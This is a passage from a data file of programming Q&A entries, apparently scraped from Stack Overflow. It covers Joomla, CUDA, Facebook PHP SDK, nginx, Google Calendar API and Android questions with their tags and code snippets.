used APN?", "I added two APN configurations and then scanned the APN database.\nI
noticed that both APN entries are marked as \"current=1\".\nhow can I identify the
currently active APN configuration programmatically?\nthanks!\n", "", "android
configuration apn"], "5207754": ["How can I remove fields in the attachment
editor?", "Is it possible to remove a default attachment field from the attachment
editor, for example the \"Caption\" field ?\nTo give you some context, I'm trying
to build a custom attachment editor page. I found how to add custom fields, now I'd
like to remove some of the default ones I don't need.\n", "", "custom-field
attachments editor"], "1464276": ["swf slideshow created in Adobe Flash Pro CS6
doesn't preview in browser", "I created an Action Script 3 swf slideshow in Adobe
Flash Professional CS6 which works fine in the Flash Player, and inserted it into
my webpage via Dreamweaver CS6. Yet when I preview the page in any browser, the
slideshow doesn't load in any manner. All that is displayed is an empty white space
where the slideshow is to be. However there is Flash content there, as when I right
click in that area, the usual flash context menu comes up. \n", "", "adobe swf
flash-cs5 slideshow dreamweaver"], "381254": ["Load language file during joomla
(2.5) system plugin installation", "I'm having a real hard time showing a localized
string during the installation of a system plugin (in Joomla 2.5). The \"normal\"
way with localized strings in the xml file doesn't seem to work, (see this other
question: Language based installation description).\nI now tried the way proposed
there, to show the description via the install scripts. This kind of works (I can
echo text successfully), however, I also can't localize there - when debugging the
language it shows that the plugin.sys.ini is not loaded yet; I tried to manually
load the file, but had no success with loading any of my plugin language files.\
nThis is what I got so far (in a file named setupscripts.php):\n\nBut I only get ??
PLG_MYNAME_TEST_TEXT?? ??PLG_MYNAME_INSTALL_TEXT?? (language debugging is turned
on) during installation... weirdly enough, the language debug feature at the bottom
of the page under \"untranslated strings\" shows \"None\" (where do the question
marks then come from if not from a tried but failed translation???).\nTried some
variations of it (with .sys at the
end of the plugin name, since I actually think the setup strings should be in
the .sys.ini file, without the second parameter (leaving it default), but no luck -
no error, nothing in the log (in fact my log file isn't existing, probably there
was no entry yet? can one set the log level with Joomla?). But never is there any
file loaded (nothing changes under \"loaded language files\".\nAnybody got an idea
how to load the language properly ?\nIs there something special to consider when
loading languages during setup? Why is there no error message if loading the
languages fails? Do I maybe have to install the language files to a special
location to get them recognized during installation? My current xml looks like
this:\n\n(the square brackes around folder=\"admin\" are supposed to indicate that
I tried both with and without this attribute. It doesn't change anything).\n", "<?
php // no direct access\ndefined('_JEXEC') or die('Restricted access');\n\nclass
plgsystemmyplgnameInstallerScript {\n\n static function loadLanguage() {\n
$lang =& JFactory::getLanguage();\n $lang->load('plg_system_myname',
JPATH_ADMINISTRATOR);\n }\n\n function install($parent)\n {\n
self::loadLanguage();\n echo JTEXT::_(\"PLG_MYNAME_TEST_TEXT\");\n }\n
function uninstall($parent)\n {\n self::loadLanguage();\n echo
JText::_('PLG_MYNAME_UNINSTALL_TEXT');\n }\n function update($parent)\n {\
n self::loadLanguage();\n echo JText::_('PLG_MYNAME_UPDATE_TEXT');\n
}\n function preflight($type, $parent) {}\n function postflight($type,
$parent) {\n self::loadLanguage();\n echo
JText::_('PLG_MYNAME_INSTALL_TEXT');\n }\n}\n", "joomla joomla2.5 joomla-
extensions"], "133894": ["Opening .jar files on Gnome Desktop", "I've installed
gnome desktop and window x on centos, the only problem I have now is opening .jar
files on my desktop. How do I open them?\n", "", "java linux centos desktop-
application"], "4988006": ["Generating 3D plots in R with arbitrary data points and
viewpoints", "I want an R function that will let me do the following two things
simultaneously:\n\nPlot arbitrary piecewise functions like scatterplot3d. That is,
it should let me specify a arbitrary set of 3d coordinates at which points will be
plotted.\nLet me set the viewpoint of the graph to arbitrary angles along both
axises, like persp. \n\nplot3d is not acceptable as it only allows manual
adjustment of the plots once they are generated. I want to be able to script this.\
n", "", "r plot"], "2825031": ["PlasticSCM server logging issue (and failure to run
daemon)", "I just installed PlasticSCM under Centos 5. Everything, including
dependencies, installed nice and clean looking on the server but the software
refuses to launch and will not write any log file contents at all.\nWhen running
PlasticSCM, I use this command:\n\nAbout a minute passes and then it responds:\n\
nStarting PlasticSCM server: Unable to start PlasticSCM server.\n PleaseFAILED a
look at the plastic.server.log file, placed in the\n plastic server location, for
more details.\n\nThe system will make a set of blank log files and not write to any
of them.\nAny ideas?\nFWIW, I did the exact same install on a Cent 6 system and
everything is running flawlessly. I can't see any differences between the two so
that makes this extra perplexing for me.\n", "./plasticsd start\n", "logging error-
logging plasticscm"], "4198382": ["Vim syntax highlighting for a match on several
lines", "I am implementing on vim a syntax file to highlight a hierarchy like this\
n\nFor example I use \n\nto highlight the level indicators. However, I would also
like to highlight wrong patterns like these\n\nwhich increment the levels by more
than one. I have written the following syntax match\n\nIt may not be optimal but it
does the job. The problem is that the matches are checked by vim on the line which
is being edited so that if I fix the error by removing a level on the second line
it will stop highlighting the second line but still highlight the first one until I
also edit it (like remove and rewrite a character).\nThis problem is that I can
only match a line using the next line information but not the opposite. Since this
doesn't seem possible with a regex match, I would like to know if it is possible to
ask vim to check for matches in both the currently edited line and the previous one
(or a broader context) ? Another solution may be to implement this by a region
which checks the context but I have been unsuccessful with that so far.\nEDIT: The
answer is actually in the vim help at :syn-sync-linebreaks (thanks Herbert Sitz for
pointing me to the right section).\n\nWhen using a pattern that matches multiple
lines, a change in one line may\n cause a pattern to no longer match in a previous
line. This means has to\n start above where the change was made. How many lines
can be specified with\n the \"linebreaks\" argument. For example, when a pattern
may include one line\n break use this:\n\n\n\nThe result is that redrawing always
starts at least one line before where a\n change was made. The default value
for \"linebreaks\" is zero. Usually the\n value for \"minlines\" is bigger
than \"linebreaks\".\n\nThis works perfectly.\n", "| text at level 1\n| | text at
level 2\n| | text at level 2\n| | | text at level 3\n| text at level 1\n", "regex
vim syntax-highlighting"], "936940": ["Antibot spam protection on contact form",
"I`m using this in my contact form for antibot but still i received tons of mails:\
n\nCan someone help me and make this to ask for lets say \"what is current year\"
or something like this ?\nThank you\n", "<script type=\"text/javascript\">\nvar a =
Math.ceil(Math.random() * 10);\nvar b = Math.ceil(Math.random() * 10); \nvar c
= a + b \nfunction DrawBotBoot()\n{\n document.write(\"Antibot \"+ a + \" + \" + b
+\" = \");\n document.write(\"<input id='BotBootInput' type='text' maxlength='2'
size='2'/>\");\n} \nfunction ValidBotBoot(){\n var d =
document.getElementById('BotBootInput').value;\n if (d == c) return true;
\n return false;\n\n}\n</script>\n", "javascript spam bots"], "3509963": ["How
to copy table from server to another in PostgreSQL?", "I have two servers on
PostgreSQL 8.4:\n\nNow i want to copy table from server1 and put it in data base on
server2.\nIts possible to do?\nUPDATE\nI try do like in @Valery Viktorovsky's
answer:\n\nand get error:\n\n", "server1:5432\nserver2:5432\n", "sql postgresql"],
"109983": ["Change the default browser which Kopete opens when you click a link?",
"I have FireFox as my desktop's default browser (Ubuntu/Gnome 9.10) and most
applications open links into FF readily enough, including Choqok (a KDE twitter
client).\nBut Kopete insists on opening Konqueror - which is annoying as it takes
an age to load, while FF is almost always open an simply needs a new tab.\nI've
checked though the preferences of Kopete, and can't seem to find anything to make
it use FF.\n", "", "ubuntu ubuntu-9.10 kopete"], "864655": ["clockwise angle
between two line", "I want to calculate a clockwise angle between two line segment
A and B. So the resulting angle must be between 0 to 360-1 degrees. I've seen all
other answers in SO but they gave me negative angles. Thanks.\n", "", "c# geometry
drawing 2d computational-geometry"], "2218382": ["Programming your own linux
distribution?", "So, during the couple of days I've been thinking what it takes to
make your own linux distribution. Where should I actually start? I'd like to have
some very basic tips for this. I consider myself a decent programmer, mainly in c++
and objective c. And what limits there are in making a distro?\n", "", "linux
operating-systems linux-development"], "4757424": ["CUDA atomic and non atomic
memory access", "I have two CUDA functions that manipulate linked lists in global
memory. The function removes the head element of one of the lists. It first
chooses a list and then calls which actually removes the head element. Should the
chosen list be empty, will try other lists. The function on the other hand will
insert a new head element into a list.\nMutual exclusion is achieved through
semaphores, one each for each linked list. The implementation for the semaphores is
from the book CUDA By Example. In some other test code, the semaphore works
perfectly.\nThe problem I have with the code is the following: Sometimes, several
threads will try to access the same linked list simultaneously. These accesses are
succesfully sequentialized by the semaphore, but sometimes, a thread will remove
the same head element from the list as a previous thread. This may happen
immediately consecutively, or there can be one or more other threads in between.
The thread will then an unallocated memory area and my program crashes.\nHere are
the mentioned functions. is a structure in global memory that is initialized from
another function.\n\nI am quite at a loss. I do not know what is actually going
wrong and all my attempts so far to clear it up have been unsuccesful. Any help is
greatly appreciated.\nP. S.: Yes, I do realize that the use of atomic operations
and semaphores is less than ideal for CUDA applications. But in this case, as of
yet I have no idea how this could be implemented differently and my project is on
an absolutely fixed deadline that is approaching really fast, so this will have to
do.\n", "pmalloc", "cuda malloc free semaphore atomic"], "5136961": ["Regex to
match excessive whitespace in code", "I want to find and replace all whitespace
that is shown below between 's with just a single space.\nNOTE: I added the 's
manually to show you what I was looking to match. They are not actually present in
the code - because if they were, it wouldn't compile!\n\nHere's what I have so
far:\n\nIt works OK, but the check for the beginning-of-line
doesn't work as I expected. \nThanks in advance.\n", "$", "regex perl
whitespace"], "5675623": ["Avoiding linebreak before number", "Is there a way to
avoid linebreaks before all numbers without explicitly using the tilde? It would be
nice if it worked both for explicit numbers, as in as well as when a number is
implied, as in .\nIf not, I think I could write a macro in emacs that uses regex to
find and fix all the instances of a number or that should have a tilde.\n",
"Sample~1", "line-breaking"], "5895978": ["Indenting let open Mod in", "Is there a
way to get this kind of layout from TypeRex?\n\nI end up with this instead which to
me looks suboptimal\n\n", "let alert ctx x = \n let open Alert in\n Printf.printf
\"...Alert: type = %s, status = %s\\n\"\n (Type.to_string (type_ x)) (status
x);\n flush stdout\n", "ocaml typerex"], "4390182": ["IT merger - self-sufficient
site with domain controller VS thin clients outpost with access to terminal
server", "SITUATION:\nA larger company acquires a smaller one. IT infrastructure
has to be merged. There are no immediate plans to change the current size or role
of the smaller company - the offices and production remain.\nIt has a Win 2003 SBS
domain server, Win 2000 file server, linux server for SVN and internal Wikipedia, 2
or 3 production machines, LTO backup solution. The servers are approx. 5 years old.
Cisco network equippment (switches, wireless, ASA). Mail solution is a hosted
Exchange. There are approx. 35 desktops and laptops in the company.\nIT
infrastructure unification:\nThere are 2 IT merging proposals.\n1.) Replacing old
servers, installing Win Server 2008 domain controller, and setting up either
subdomain or domain trust to a larger company. File server and other servers remain
local and synchronization should be set up to a centralized location in larger
company. Similary with the backup - it remains local and if needed it should be
replicated to a centralized location. Licensing is managed by smaller company.\n2.)
All servers are moved to a centralized location in larger company. As many desktop
machines as possible are replaced by thin clients. The actual machines are
virtualized and hosted by Terminal server at the same central location. Citrix
solutions will be used. Only router and site-2-site VPN connection remain at the
smaller company. Backup internet line to insure near 100% availability is needed.
Licensing is mainly managed by larger company. Only specialized software for PCs
that will not be virtualized is managed by smaller company.\nI'd like to ask you to
discuss both solutions a bit. In your opinion, which is better from the operational
point of view? Which is more reliable, cheaper in the long run? Easier to manage
from the system administrator's point of view? Easier on the budget and easier to
maintain from IT department's point of view? Does anybody have any experience with
the second option and how does it perform in production environment?\nPros and cons
of both?\nYour input will be of great significance to me. Thank you very much!\n\
nFurther comments:\nThe larger company is planning to implement seconnd solution
internally for accountants and other \"office\" PCs. The infrastructure isn't there
yet, but people with experience in this area will work on it. The smaller company
would then also have about a third of its computers virtualized and put up on
terminal server.\n\nComments No. 2 (answering some questions):\n\nI am the admin of
the smaller company :)\nAdmin from the bigger company and I are now in the process
of discussing both options. Of course I believe the first option is better choice,
but I would like to hear several other views.\nWe're a company that deals in R&D,
so all in all about not more than 15 of 35 clients could be \"transformed\" into
Thin Clients.\nWe have a 10/10 DSL line.\nThe hardware would be replaced as a part
of upgrade. We now have Windows 2003 SBS, which doesn't allow for domain trusts or
subdomains. If we upgrade, we will virtualize the server, possibly with freeware
VMWare ESXi. The old hardware doesn't support HW-assisted virtualization.\nI
apologize about confusing terminology. By using \"terminal server\" I was referring
to a solution, not to a specific product. At this moment it is not known which
solution is going to be used, obviously some kind of VDI (Citrix XenDesktop, VMWare
View...)\n\n", "", "virtualization subdomain infrastructure thin-client"],
"2746626": ["Java XSLT How can I escape French, German AND Greek in the same
document?", "I am successfully reading Microsoft DOCX files with Java using the
java.util.zip classes. I start by translating MS XML into what I need using XSLT.
Since I am outputting HTML, I notice that most of the obvious characters are
correctly escaped by XSLT without me having to do anything, such as ndash, ldquo,
rdquo, egrave, eacute, uuml, auml etc. I then use Java regular expressions to do
further processing on the XSLT output.\nMy problem is that in addition to French
and German, I also have Greek. The Greek is not escaped by XSLT, but appears
correctly in the XSLT output, and if I edit the resulting file (with eclipse, or
even with notepad) the unescaped greek is displayed correctly. BUT...\nWhen I work
on the XSLT output with java code, it scrambles the Greek, and any page I save has
the usual random characters you see if the page is encoded wrongly.\nClearly I am
not encoding this the right way. I have been trying to do it in UTF-8 since all my
ISO-8859-1 characters are escaped.\nCan anyone suggest what I might be doing wrong?
Is there any way persuade XSLT to escape the Greek characters for me as well as
those it already does?\n", "", "java xslt encoding"], "3500619": ["How to make BREW
sdk apps on a mac", "I have an LG Cosmos Touch and wanted to know if there was any
way that I could make apps for it. I know it is possible on a windows computer but
I have a mac. So, can I do it?\n", "", "osx phone brew lg"], "1852939": ["Solving
Triangles (finding missing sides/angles given 3 sides/angles)", "What is a general
procedure for \"solving\" a triangle\u2014that is, for finding the unknown side
lengths and angle measures given three side lengths and/or angle measures?\n", "",
"geometry algebra-precalculus trigonometry euclidean-geometry triangle"],
"5271421": ["Developing on both 32 bit and 64 bit processors, how should I
structure my project to automatically reference the right dlls?", "I am currently
in a situation where I have both 32 bit and 64 bit developer machines working on my
c# project. I have to reference a couple dlls that have both a 32 bit and a 64 bit
version. Obviously, the 32 bit machines need to reference the 32 bit dll, and the
64 bit machines the 64 bit dll. The issue I am having is that every time a
developer checks in some code, they also check in their dll references, so when
someone on the other side pulls their code, it doesn't build, and they have to
manually update their references back to what they should be. Then they check in,
and the other developers have to manually fix their references, etc. etc. ad
nauseum. \nI don't imagine this is a new problem, but it is the first time I have
run into it. Is there a common practice to have a project automatically reference
the correct dll for the CPU? Or perhaps a way to have a 32 bit and 64 bit project,
each with the correct references, and a way (possibly a command line tool or some
outside that can be tied into a build) to tie them together so that when new items
are added or removed to one, the other will also be updated?\nThe other option is
to have every developer use the same virtualized development environment. If I go
this route, can I virtualize a 64 bit system on 32 bit hardware, or do I have to go
the other way, and virtualize 32 bit. This will be a SaaS product, so I only have
to deploy for one processor, and I would prefer that to be 64 bit.\n", "", "visual-
studio-2010 dll c#-4.0 virtualization 32bit-64bit"], "5337531": ["return a js file
from asp.net mvc controller", "I'd like to have a separate js file for each MVC set
I have in my application\n\nAnd I'd like to include the js in the Index.aspx by\n\
nOr to put it easier, when I call http://localhost/Test/Js in the browser, it will
show me the script.js file\nHow to write the Action in the Controller? I know that
this must be done with return File method, but I haven't successfully create the
method :(\n", "/Controllers/\n -TestController.cs\n/Models/\n/Views/\n
/Test/\n -Index.aspx\n -script.js\n", "asp.net-mvc file controller
return"], "3466210": ["jquery find children selector performance", "Is there a
better way to write this. I'm checking the input of a textarea and trying to find
if it contains an object or iframe tags, if not then set var x =1\n\n", "if
($textareaval.find('iframe').length > 0) {\n alert('iframe')\n} else if
($textareaval.find('param').length > 0) {\n alert('object')\n} else {\n var x
= 1;\n alert(x)\n", "jquery find children"], "4765889": ["Is there a way to
figure out which .net symbols an assembly uses from a dependant assembly?", "Given
an assembly A, that refers to Assembly B, how can I figure out methodically all the
symbols (classes, constants, enums, etc) that A uses from B? Is there any tool that
can tell me that?\nPS: I need it to analyse how \"entrenched\" is the dependency\
n", "", ".net assemblies dependencies"], "844154": ["Execute Makefile specific
commands in rule section", "Suupose I have an directive:\n\nTo include other
required information for my build. However, I only want it to be included after
certain targets have been built. How can I do that?\nFor example:\n\nIn this case,
won't work because Make understand it as a shell command.\n", "include", "make"],
"1435743": ["how do you programmatically paste a form into Visual Studio
designer?", "I have a Windows project that loads in forms from a database and
dynamically generates them. It reads the control properties of each control from a
table and dynamically adds it to the form.\nUnfortunately, I have to change the
project so that the forms are actually in the Visual Studio project. Instead of
repainting all of those forms, I'd like to be able to have the original program
load the form from the database and copy all of the controls to the clipboard.
Then, I could just paste the controls into the Visual Studio designer. So, how can
I have a form programmatically copy its controls to the clipboard?\nBTW, I already
tried the approach of having the original program generate the Designer.vb file.
This has been somewhat useful. But, a lot of forms have to be consolidated and
moved from their own page to a tab on a tab control. So, it would be much easier
if I could just move the controls to the clipboard.\nThanks,\nMike\n", "",
"controls clipboard"], "5084969": ["JITs fundamentals", "I understand somewhat
how \"int a = b+abs(c)\" can be translated to simple assembly instructions and then
translate that to some binary blob. But how can this be run and be interacted with
dynamically in memory?\n-- edit --\nI know C doesn't have an eval feature. But what
it's compiled to does. I mean this is what makes Java like JITs, and for that
matter, code injection malware possible no? For instance the abs() function is just
a pointer, which could be called following the cdecl protocol. New functions should
be able to be exposed through passing cdecl function pointers. What I don't
understand is how this new code can be injected at runtime.\nI'm asking this more
of as a longtime academic curiosity, then to most efficiently solve an actual
problem.\n-- example --\nSay I have a piece of embedded python code which is called
from a native program a lot, and which also calls a native binding notify():\n\nFor
this to be a point in doing, the function should probably contain quite a bit more
code (and way more usefull), but bear with me. A profiler (or hints from the c-
bindings) has also identified that all calls are with with integers both with all
parameters and return value.\nThis matches:\n\nWhich could be compiled into an x86
cdecl something similar to this:\n\nThen finally assembled into a binary string. Of
course one would have to implement a basic compiler for each platform to even get
this far. But that problem aside, say I now have a char pointer to this valid
binary x86 code. Is it somehow possible to extract a cdecl function pointer useable
for the native program from this in any way?\nSorry for the unclear intent about my
question\n", "def add(a, b):\n notify()\n return a+b\n", "c assembly
compilation jit"], "1418683": ["How to disable tmpfs on /media in openSUSE?", "In
OS 11.4 is a regular directory. Whatever I put there, it stays.\nIn OS 12.1 is
tmpfs. Whatever I put there, on next restart is gone.\nThe question is -- how to
get rid of tmpfs on , and \"convert\" it to regular directory as before.\nI checked
-- there is no entry for .\n", "/media", "configuration media tmpfs"], "2724697":
["I cant make the Facebook PHP-SDK 3.x register/login user integration to work", "I
follow this tutorial to integrated facebook : http://25labs.com/tutorial-integrate-
facebook-connect-to-your-website-using-php-sdk-v-3-x-x-which-uses-graph-api/\nMy
script is\n\nSince i'm not log in i see the login link,now when i click it is
redirecting me to the page that i choice but when i go back and use
print_r($user_info); i dont get anything and again i see the login link .. so i'm
doing wrong\nThis is what i get after clicking the enter link
\nhttp://site.net/home?
state=a074b46878d90ff3ebf5c02049c077e6&code=AQDCOhwA9h1qGOHntZCxBbeUUBmA3zXzjhum8zh
TqWfE_6V17F-MpD91anIEgGNGV7eLge8H61nz53S6SlkzZ70Zcbi_uJKeD9uMFiaIrobaYS-dapz-
m2pKlPk9kGVDaxUf80C7nIyh3-lUzgCNY2H6Cw4Zh2UoB0raRnyrDngSSn7H9z6mCTRRW-CbcH_bpKs#=\
n", " $app_id = \"xxxx\";\n $app_secret = \"xxxxxxx\";\n
$site_url = \"http://site.com/auth/facebook\";\n\n include_once
\"src/facebook.php\";\n\n $facebook = new Facebook(array(\n
'appId' => $app_id,\n 'secret' => $app_secret,\n ));\
n\n $user = $facebook->getUser();\n\n if($user){\n // Get
logout URL\n $logoutUrl = $facebook->getLogoutUrl(array(\n
'next' => 'http://site.com/enter',\n // URL to which to redirect the user after
logging out\n ));\n }else{\n // Get login URL\n
$loginUrl = $facebook->getLoginUrl(array(\n 'scope' =>
'user_about_me,user_hometown,email,offline_access',\n // Permissions to request
from the user\n 'redirect_uri' => 'http://site.com',\n // URL to
redirect the user to once the login/authorization process is complete.\n
));\n\n echo '<a href=\"'.$loginUrl.'\">login</a>';\n }\n", "php facebook
fbconnect"], "5941178": ["Upload image to Facebook fan page", "I would like fans of
our Facebook page to be able to publish images to a specific Album. Although, the
app was able to upload an image to a users timeline, the app isn't able to publish
it to an album in the fanpage (facebook page of the company). What's wrong, or how
can I change the code so I can track the bug.\nIn an earlier attempt, I was able
with a similar script and never-expire token to publish the image onto the wall of
the fanpage, but then the app posted it, and I want to see the users name.\n\n",
"<?php\nrequire 'facebook.php';\n\n$app_id = \"xxx\";\n$app_secret = \"xxx\";\
n$facebook = new Facebook(array(\n'appId' => $app_id,\n'secret' => $app_secret,\
n'cookie' => true\n));\n\n$canvas_page = \"http://apps.facebook.com/xxx/\";\
n$auth_url = \"https://www.facebook.com/dialog/oauth?client_id=\" \n.
$app_id . \"&redirect_uri=\" . urlencode($canvas_page).\"&scope=publish_stream\";\
n\n$signed_request = $_REQUEST[\"signed_request\"];\n\nif(isset($_FILES[\"source\"]
[\"name\"]))\n{\n try {\n $facebook->setFileUploadSupport(true);\n
$response = $facebook->api(\n '/ALBUMID/photos/',\n 'post',\n
array(\n 'message' => $_POST['message'],\n 'source' => '@'.
$_FILES[\"source\"][\"tmp_name\"], \n 'access_token' => 'xxx'\n )\n
);\n }\n catch (FacebookApiException $e) {\n error_log('Could not post
image to Facebook.');\n }\n}\n\nlist($encoded_sig, $payload) = explode('.',
$signed_request, 2); \n\n$data = json_decode(base64_decode(strtr($payload, '-_',
'+/')), true);\n\nif (empty($data[\"user_id\"])) {\n echo(\"<script>
top.location.href='\" . $auth_url . \"'</script>\");\n } else {\n echo
(\"Welcome User: \" . $data[\"user_id\"]);\n};\n\n\n$signed_request = $facebook-
>getSignedRequest();\n$user = $facebook->getUser();\n$page_id =
$signed_request[\"page\"][\"id\"];\n$page_admin = $signed_request[\"page\"]
[\"admin\"];\n$like_status = $signed_request[\"page\"][\"liked\"];\n$country =
$signed_request[\"user\"][\"country\"];\n$locale = $signed_request[\"user\"]
[\"locale\"];\n\necho \"<br>user id = $user\";\necho \"<br>page id = $page_id\";\
necho \"<br>page admin = $page_admin\";\necho \"<br>like status = $like_status\";\
necho \"<br>country = $country\";\necho \"<br>locale = $locale\";\nif
($like_status) {\n?>\n<div id=\"like\">\n You like us.\n <form
enctype=\"multipart/form-data\" action=\" \" method=\"POST\">\n Please
choose a photo:\n <input name=\"source\" type=\"file\"><br/><br/>\n
Say something about this photo:\n <input name=\"message\"\n
type=\"text\" value=\"\"><br/><br/>\n <input type=\"submit\"
value=\"Upload\" class=\"btn btn-primary\"/><br/>\n </form>\n <?php\n
if(isset($response))\n {\n echo \"Image Uploaded. <a
href='http://facebook.com/{$response['id']}' target='_blank'>Click here to
view</a>\";\n }\n ?>\n\n</div>\n<?php\n}\nelse {\n?>\n<div
id=\"niet_leuk\">\n You don't like us.\n</div>\n<?php\n}\n?>\n", "php facebook
facebook-graph-api facebook-php-sdk"], "3910554": ["Django Forms, having
multiple \"Models\" in Meta class?", "Can we define multiple models in the \"Meta
class\" part of a Form ? \nHere is my example:\n\n", "from django import forms\n\
nfrom django.contrib.auth.models import User , Group\n\nfrom django.forms import
ModelForm\n\nfrom django.utils.translation import ugettext as _\n\nfrom
profiles.models import Student , Tutor \n\n\nclass RegistrationForm(ModelForm):\n
email = forms.EmailField(label=_('Email Address:'))\n password
= form.CharField(label=_('Passsword:') , widget = forms.PasswordInput(render_value
= False))\n password1 = form.CharField(label=_('Verify Passsword:') ,
widget = forms.PasswordInput(render_value = False))\n\n class Meta:\n
model = [Student , Tutor] ## IS THIS TRUE ???\n", "django django-forms django-admin
django-registration"], "852658": ["Running 64-bit Linux with 750 MB of RAM: worth
it?", "I have a Debian server VPS, and the provider installed 64-bit Debian 5.
Should I ask for an 32-bit install, given that I have only 750 MB RAM and I have
heard that variables take more RAM on 64-bit systems?\n", "", "debian 64bit
32bit"], "4757395": ["Can't compile a CUDA program", "I've never programmed GPUs
before, but someone gave me this CUDA code to compile. When I tried to do that in
VC++ 2008 (CUDA toolkit 3.1), it gives me the following linking error. \n\nAny idea
what this error means and how to solve it?\nEDIT\nWhen I compile the files in the
project, is not being compiled. I get this message\n\nWhy is that so? I followed
all the steps given by this site.\n", "LINK : fatal error LNK1181: cannot open
input file '.\\Release\\main.cu.obj'\n", "c visual-studio-2008
cuda gpgpu gpu-programming"], "4390180": ["Is it safe to close shell just by
clicking \"X\" or using \"ctrl+d\"?", "Is it safe to close shell just by
clicking \"X\" or using \"ctrl+d\" while logged in as root with su or is it safer
to close it by typing \"exit\"? Is there any difference (security-wise) at all or
is it the same and it does not matter which way you use?\n", "", "shell terminal
security root exit"], "1532314": ["nginx folder to cdn redirection", "I'm still
quite new to nginx and despite I took a look at all the answers of this kind of
questions and tried everything they said, nothing has worked so far.\nI want to do
this redirection:\nFrom\n http://www.mydomain.com/folder\nto\n
http://cdn.mydomain.com/folder\nI have put this inside the server conf:\n\nI think
I am near but still don't get where I am wrong.\nIn my old server, using
this .htaccess inside each folder works fine:\n\nThanks in advance!\n", "
location /folder/ {\n rewrite ^ http://cdn.mydomain.com/folder/$request_uri
permanent;\n }\n", "redirect nginx folder cdn permanent"], "1236021":
["Retrieving access token of OAuth 2.0 (implicit grant) from java Desktop Client
using SkyDrive REST API.", "I am trying to implement OAuth 2.0 implicit grant from
java desktop client application using SkyDrive REST API. I use the following
code: \n\nmy code opens web browser and ask users to signin and then SkyDrive sends
access token to the browser url in the following form:\n\nWhat I want to do is to
read this access token from my java program.\nI tried to read httpconnection from
console: \n\nbut it seems that java httpurlconnection does not handle javascript
response. It replies:\n\nSo, Is there any way to retrieve the access token directly
from java?\n", "Desktop.getDesktop().browse(new URL(st.toString()).toURI());\
nJOptionPane.showMessageDialog(null, \"Press ok to continue once you have
authenticated.\");\n", "java rest oauth-2.0 skydrive"], "2790594": ["400 Bad
Request Inserting an event in Google Calendar", "I am using the Google Calendar API
and I am trying to send a request to the API for inserting an event but I'm getting
an error.\nThis is the request that I am sending:\n\nand the response I am getting
is: \n\nI am unable to figure out why I am getting a bad request error.\n", "POST
https://www.googleapis.com/calendar/v3/calendars/riteshmehandiratta%40gmail.com/
events?key={YOUR_API_KEY}\n\nContent-Type: application/json\nAuthorization:
Bearer ya29.AHES6ZQwHy_3OYLmXtZpSa5PIwnBO3hqLWolMXpTYiFOEtjlEmbxNrYn\nX-JavaScript-
User-Agent: Google APIs Explorer\n\n{\n\n \"end\": {\n \"date\": \"2/14/2007\"\
n },\n \"start\": {\n \"date\": \"2/14/2007\"\n },\
n \"kind\": \"calendar#event\",\n \"summary\": \"Hello World\"\n}\n", "google-app-
engine google google-api google-calendar"], "1784767": ["SurfaceView horizontal
scrolling", "I'm writing an application which will create a graph and draw it on a
SurfaceView. Eventually the graph needs to be able to update live but for now I
want the SurfaceView to be scrollable horizontally so that the user can see all the
data. Is this possible?\n", "", "android graph scroll surfaceview"], "4402854":
["Accessing multiple framebuffers in Qt embedded + directFB?", "I am developing Qt
application for a embedded linux/MIPS device. So far managed to execute my Qt
application on the device. Now I need to create overlays on top of video. \
nHardware provides four overlays windows and does not support OpenGL.\nTried so
far:\n\nTried creating and for creating overlays on top of video. But overlay
appears black, though widgets on overlay responds to user click.\nTried to access
multiple framebuffers directly. I am able to access /dev/fb0 but not /dev/fb1, 2,
3.\nTried creating a simple Qt application with a dialog and a push button on it. I
tried executing it on embedded device using this command . But it fails to open
/dev/fb1.\n\nQuestions:\n\nHow can I use the overlay windows provided by the LCD
controller?\nIs it possible to use directfb plugin provided by QT and take
advantage of its OpenGL support?\nDo I have to explicitly map /dev/fb1 to user
space to be able to use it?\n\nNeed urgent help regarding this.\n",
"QStackedLayout", "qt4 overlay embedded-linux directfb"], "882455": ["Need to build
(or otherwise obtain) python-devel 2.3 and add to LD_LIBRARY_PATH", "I am
supporting an application with a hard dependency on python-devel 2.3.7. The
application runs the python interpreter embedded, attempting to load
libpython2.3.so - but since the local machine has libpython2.4.so under /usr/lib64,
the application is failing.\nI see that there are RPMs for python-devel (but not
version 2.3.x). Another wrinkle is that I don't want to overwrite the existing
python under /usr/lib (I don't have su anyway). What I want to do is place the
somewhere in my home directory (i.e. /home/noahz/lib) and use PATH and
LD_LIBRARY_PATH to point to the older version for this application. \nWhat I'm
trying to find out (but can't seem to craft the right google search for) is:\n1)
Where do I download python-devel-2.3 or libpython2.3.so.1.0 (if either available)\
n2a) If I can't download python-devel-2.3, how do I build libpython2.3.so from
source (already downloaded Python-2.3.tgz and \n2b) Is building libpython2.3.so.1.0
from source and pointing to it with LD_LIBRARY_PATH good enough, or am I going to
run into other problems (other dependencies)\n3) In general, am I approaching this
problem the right way? \nADDITIONAL INFO:\n\nI attempted to symlink (ln -s) to the
later version. This caused the app to fail silently.\nDistro is Red Hat Enterprise
Linux 5 (RHEL5) - for x86_64\n\n", "", "python linux build"], "5592263": ["How to
get text from EditText?", "The question is quite simple.\nBut I want to know where
exactly do we make our references to the gui elements?\nAs in which is the best
place to define:\n\nWhen I try it doing inside the default oncreate() I get null
values.\nSo for best practice, do u recommend a separate class for referring these
already defined gui elements in main.xml. From here we can call various methods of
these elements like gettext or settext?\n", "final EditText edit = (EditText)
findViewById(R.id.text_xyz);\n edit.getText.tostring();\n", "android gui"],
"5106856": ["Polymorphism and array of pointers problem in C++", "I'm working on a
project and it's in a stage that I don't know what's wrong. Here's the simplified
version:\nThe code:\n\nThe problem is that when in main, i reach the line when the
first DerivedB is created, the already created DerivedA pointer by tmp.basePrt[0]
is lost some how. I don't know why but i suspect that this has sth to do with
polymorphism? Please help!! thanks!!\nEdit:\nDidn't quite get the code correct the
first time, sorry... \n", " class Base { // This base class is
pure abstract\n\n public:\n virtual ~Base(); // Necessary to trigger
destructors in inherited classes\n virtual baseFunc() = 0;\n };\n\n\n\n
